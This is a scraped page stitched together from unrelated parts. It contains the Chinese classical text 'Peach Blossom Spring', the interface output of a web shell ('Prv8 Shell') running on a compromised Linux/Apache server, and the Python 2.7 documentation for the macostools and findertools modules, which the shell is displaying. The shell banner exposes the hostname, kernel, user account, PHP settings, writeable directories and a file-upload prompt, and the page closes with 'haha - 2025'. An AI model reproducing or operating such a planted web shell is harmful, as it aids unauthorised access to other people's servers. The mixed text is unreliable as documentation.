晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/python2-docs/html/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/python2-docs/html/library/macostools.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>37.3. macostools — Convenience routines for file manipulation &#8212; Python 2.7.16 documentation</title>
    <link rel="stylesheet" href="../_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.16 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="next" title="37.5. EasyDialogs — Basic Macintosh dialogs" href="easydialogs.html" />
    <link rel="prev" title="37.2. MacOS — Access to Mac OS interpreter features" href="macos.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <link rel="canonical" href="https://docs.python.org/2/library/macostools.html" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 
    

  </head><body>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="easydialogs.html" title="37.5. EasyDialogs — Basic Macintosh dialogs"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="macos.html" title="37.2. MacOS — Access to Mac OS interpreter features"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="mac.html" accesskey="U">37. Mac OS X specific services</a> &#187;</li> 
      </ul>
    </div>    

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="module-macostools">
<span id="macostools-convenience-routines-for-file-manipulation"></span><h1>37.3. <a class="reference internal" href="#module-macostools" title="macostools: Convenience routines for file manipulation. (deprecated) (Mac)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">macostools</span></code></a> — Convenience routines for file manipulation<a class="headerlink" href="#module-macostools" title="Permalink to this headline">¶</a></h1>
<p>This module contains some convenience routines for file-manipulation on the
Macintosh. All file parameters can be specified as pathnames, <code class="xref py py-class docutils literal notranslate"><span class="pre">FSRef</span></code> or
<code class="xref py py-class docutils literal notranslate"><span class="pre">FSSpec</span></code> objects.  This module expects a filesystem which supports forked
files, so it should not be used on UFS partitions.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This module has been removed in Python 3.</p>
</div>
<p>The <a class="reference internal" href="#module-macostools" title="macostools: Convenience routines for file manipulation. (deprecated) (Mac)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">macostools</span></code></a> module defines the following functions:</p>
<dl class="function">
<dt id="macostools.copy">
<code class="descclassname">macostools.</code><code class="descname">copy</code><span class="sig-paren">(</span><em>src</em>, <em>dst</em><span class="optional">[</span>, <em>createpath</em><span class="optional">[</span>, <em>copytimes</em><span class="optional">]</span><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#macostools.copy" title="Permalink to this definition">¶</a></dt>
<dd><p>Copy file <em>src</em> to <em>dst</em>.  If <em>createpath</em> is non-zero the folders leading to
<em>dst</em> are created if necessary. The method copies data and resource fork and
some finder information (creator, type, flags) and optionally the creation,
modification and backup times (default is to copy them). Custom icons, comments
and icon position are not copied.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This function does not work in 64-bit code because it uses APIs that
are not available in 64-bit mode.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="macostools.copytree">
<code class="descclassname">macostools.</code><code class="descname">copytree</code><span class="sig-paren">(</span><em>src</em>, <em>dst</em><span class="sig-paren">)</span><a class="headerlink" href="#macostools.copytree" title="Permalink to this definition">¶</a></dt>
<dd><p>Recursively copy a file tree from <em>src</em> to <em>dst</em>, creating folders as needed.
<em>src</em> and <em>dst</em> should be specified as pathnames.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This function does not work in 64-bit code because it uses APIs that
are not available in 64-bit mode.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="macostools.mkalias">
<code class="descclassname">macostools.</code><code class="descname">mkalias</code><span class="sig-paren">(</span><em>src</em>, <em>dst</em><span class="sig-paren">)</span><a class="headerlink" href="#macostools.mkalias" title="Permalink to this definition">¶</a></dt>
<dd><p>Create a finder alias <em>dst</em> pointing to <em>src</em>.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This function does not work in 64-bit code because it uses APIs that
are not available in 64-bit mode.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="macostools.touched">
<code class="descclassname">macostools.</code><code class="descname">touched</code><span class="sig-paren">(</span><em>dst</em><span class="sig-paren">)</span><a class="headerlink" href="#macostools.touched" title="Permalink to this definition">¶</a></dt>
<dd><p>Tell the finder that some bits of finder-information such as creator or type for
file <em>dst</em> has changed. The file can be specified by pathname or fsspec. This
call should tell the finder to redraw the files icon.</p>
<div class="deprecated">
<p><span class="versionmodified">Deprecated since version 2.6: </span>The function is a no-op on OS X.</p>
</div>
</dd></dl>

<dl class="data">
<dt id="macostools.BUFSIZ">
<code class="descclassname">macostools.</code><code class="descname">BUFSIZ</code><a class="headerlink" href="#macostools.BUFSIZ" title="Permalink to this definition">¶</a></dt>
<dd><p>The buffer size for <code class="docutils literal notranslate"><span class="pre">copy</span></code>, default 1 megabyte.</p>
</dd></dl>

<p>Note that the process of creating finder aliases is not specified in the Apple
documentation. Hence, aliases created with <a class="reference internal" href="#macostools.mkalias" title="macostools.mkalias"><code class="xref py py-func docutils literal notranslate"><span class="pre">mkalias()</span></code></a> could conceivably
have incompatible behaviour in some cases.</p>
</div>
<div class="section" id="module-findertools">
<span id="findertools-the-finder-s-apple-events-interface"></span><h1>37.4. <a class="reference internal" href="#module-findertools" title="findertools: Wrappers around the finder's Apple Events interface. (Mac)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">findertools</span></code></a> — The <strong class="program">finder</strong>’s Apple Events interface<a class="headerlink" href="#module-findertools" title="Permalink to this headline">¶</a></h1>
<p id="index-0">This module contains routines that give Python programs access to some
functionality provided by the finder. They are implemented as wrappers around
the AppleEvent interface to the finder.</p>
<p>All file and folder parameters can be specified either as full pathnames, or as
<code class="xref py py-class docutils literal notranslate"><span class="pre">FSRef</span></code> or <code class="xref py py-class docutils literal notranslate"><span class="pre">FSSpec</span></code> objects.</p>
<p>The <a class="reference internal" href="#module-findertools" title="findertools: Wrappers around the finder's Apple Events interface. (Mac)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">findertools</span></code></a> module defines the following functions:</p>
<dl class="function">
<dt id="findertools.launch">
<code class="descclassname">findertools.</code><code class="descname">launch</code><span class="sig-paren">(</span><em>file</em><span class="sig-paren">)</span><a class="headerlink" href="#findertools.launch" title="Permalink to this definition">¶</a></dt>
<dd><p>Tell the finder to launch <em>file</em>. What launching means depends on the file:
applications are started, folders are opened and documents are opened in the
correct application.</p>
</dd></dl>

<dl class="function">
<dt id="findertools.Print">
<code class="descclassname">findertools.</code><code class="descname">Print</code><span class="sig-paren">(</span><em>file</em><span class="sig-paren">)</span><a class="headerlink" href="#findertools.Print" title="Permalink to this definition">¶</a></dt>
<dd><p>Tell the finder to print a file. The behaviour is identical to selecting the
file and using the print command in the finder’s file menu.</p>
</dd></dl>

<dl class="function">
<dt id="findertools.copy">
<code class="descclassname">findertools.</code><code class="descname">copy</code><span class="sig-paren">(</span><em>file</em>, <em>destdir</em><span class="sig-paren">)</span><a class="headerlink" href="#findertools.copy" title="Permalink to this definition">¶</a></dt>
<dd><p>Tell the finder to copy a file or folder <em>file</em> to folder <em>destdir</em>. The
function returns an <code class="xref py py-class docutils literal notranslate"><span class="pre">Alias</span></code> object pointing to the new file.</p>
</dd></dl>

<dl class="function">
<dt id="findertools.move">
<code class="descclassname">findertools.</code><code class="descname">move</code><span class="sig-paren">(</span><em>file</em>, <em>destdir</em><span class="sig-paren">)</span><a class="headerlink" href="#findertools.move" title="Permalink to this definition">¶</a></dt>
<dd><p>Tell the finder to move a file or folder <em>file</em> to folder <em>destdir</em>. The
function returns an <code class="xref py py-class docutils literal notranslate"><span class="pre">Alias</span></code> object pointing to the new file.</p>
</dd></dl>

<dl class="function">
<dt id="findertools.sleep">
<code class="descclassname">findertools.</code><code class="descname">sleep</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#findertools.sleep" title="Permalink to this definition">¶</a></dt>
<dd><p>Tell the finder to put the Macintosh to sleep, if your machine supports it.</p>
</dd></dl>

<dl class="function">
<dt id="findertools.restart">
<code class="descclassname">findertools.</code><code class="descname">restart</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#findertools.restart" title="Permalink to this definition">¶</a></dt>
<dd><p>Tell the finder to perform an orderly restart of the machine.</p>
</dd></dl>

<dl class="function">
<dt id="findertools.shutdown">
<code class="descclassname">findertools.</code><code class="descname">shutdown</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#findertools.shutdown" title="Permalink to this definition">¶</a></dt>
<dd><p>Tell the finder to perform an orderly shutdown of the machine.</p>
</dd></dl>

</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h3><a href="../contents.html">Table Of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#">37.3. <code class="docutils literal notranslate"><span class="pre">macostools</span></code> — Convenience routines for file manipulation</a></li>
<li><a class="reference internal" href="#module-findertools">37.4. <code class="docutils literal notranslate"><span class="pre">findertools</span></code> — The <strong class="program">finder</strong>’s Apple Events interface</a></li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="macos.html"
                        title="previous chapter">37.2. <code class="docutils literal notranslate"><span class="pre">MacOS</span></code> — Access to Mac OS interpreter features</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="easydialogs.html"
                        title="next chapter">37.5. <code class="docutils literal notranslate"><span class="pre">EasyDialogs</span></code> — Basic Macintosh dialogs</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/library/macostools.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    </div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="easydialogs.html" title="37.5. EasyDialogs — Basic Macintosh dialogs"
             >next</a> |</li>
        <li class="right" >
          <a href="macos.html" title="37.2. MacOS — Access to Mac OS interpreter features"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="mac.html" >37. Mac OS X specific services</a> &#187;</li> 
      </ul>
    </div>  
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="https://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Mar 27, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6.
    </div>

  </body>
</html>

haha - 2025